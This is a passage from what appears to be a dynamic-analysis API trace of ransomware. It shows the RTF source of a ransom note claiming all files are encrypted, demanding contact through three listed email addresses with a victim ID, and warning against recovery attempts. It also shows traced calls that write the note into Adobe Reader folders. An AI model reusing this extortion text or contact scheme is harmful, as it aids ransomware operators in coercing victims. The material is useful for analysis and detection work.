;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.960] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.962] CloseHandle (hObject=0x1cc) returned 1 [0033.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\!bwng_info!.rtf")) returned 0xffffffff [0033.962] GetLastError () returned 0x2 [0033.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l 